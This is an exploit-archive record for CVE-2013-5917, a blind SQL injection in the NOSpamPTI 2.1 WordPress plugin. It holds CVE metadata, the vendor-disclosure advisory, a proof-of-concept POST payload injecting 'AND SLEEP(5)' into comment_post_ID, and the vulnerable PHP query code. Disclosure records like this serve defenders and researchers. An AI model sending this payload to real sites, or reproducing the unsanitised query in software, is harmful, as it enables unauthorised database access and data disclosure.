{"exploit":{"id":"EDB-28485","name":"WordPress Plugin NOSpamPTI 2.1 - Blind SQL Injection (SQLi)","description":"WordPress Plugin NOSpamPTI 2.1 - Blind SQL Injection (SQLi)","cves":["CVE-2013-5917"],"author":"Alexandro Silva","published":"2013-09-23","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28485","path":"exploits/php/webapps/28485.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28485.txt","vulnerabilities":[{"id":"CVE-2013-5917","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in wp-comments-post.php in the NOSpam PTI plugin 2.1 for WordPress allows remote attackers to execute arbitrary SQL commands via the comment_post_ID parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-5917","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-5917"},"updatedAt":"2024-09-16T20:36:45.611Z","retrievedAt":"2026-11-27T17:11:24.285Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28485.png?v=2","url":"https://exploitbin.com/exploits/EDB-28485","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28485/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28485/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[ NOSpamPTI Wordpress plugin Blind SQL Injection ]\n\n[ Vendor product description ]\n\nNOSpamPTI eliminates the spam in your comment box so strong and free,\ndeveloped from the idea of Nando Vieira <a href=\"http://bit.ly/d38gB8\"\nrel=\"nofollow\">http://bit.ly/d38gB8</a>, but some themes do not support\nchanges to the functions.php to this we alter this function and\navailable as a plugin. Make good use of this plugin and forget all the Spam.\n\n[ Bug Description ]\n\nNOSpamPTI contains a flaw that may allow an attacker to carry out a\nBlind SQL injection attack. The issue is due to the wp-comments-post.php\nscript not properly sanitizing the comment_post_ID in POST data. This\nmay allow an attacker to inject or manipulate SQL queries in the\nback-end database, allowing for the manipulation or disclosure of\narbitrary data.\n\n[ History ]\n\nAdvisory sent to vendor on 09/09/2013\nVendor reply 09/20/2013. According the vendor, the plugin was deprecated.\n\n[ Impact ]\n\nHIGH\n\n[ Afected Version ]\n\n2.1\n\n[ CVE Reference]\n\nCVE-2013-5917\n\n[ POC ]\n\nPayload:\nPOST /wordpress/wp-comments-post.php\n\nauthor=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1\nAND SLEEP(5)&email=sample@email.tst&submit=Post Comment&url=1\n\n[ Vulnerable code ]\n\n$post_id = $_POST['comment_post_ID'];\n\nload_plugin_textdomain('nospampti',\nWP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');\n\n    if ($hash != $challenge) {\n        $wpdb->query(\"DELETE FROM {$wpdb->comments} WHERE comment_ID =\n{$comment_id}\");\n        $count = $wpdb->get_var(\"select count(*) from $wpdb->comments\nwhere comment_post_id = {$post_id} and comment_approved = '1'\");\n\n\n[ Reference ]\n\n[1] No SpamPTI SVN repository -\nhttp://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php\n[2] Owasp - https://owasp.org/index.php/SQL_Injection\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/\n\n--------------------------------------------\niBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos","sha256":"fb865445e752e1adf505e8c5852653f903ad4c9b3650871e4a15b084504267f0","bytes":2022,"fetchedAt":"2026-11-27T17:11:21.137Z","encoding":"utf-8 (display only; download retains original bytes)"}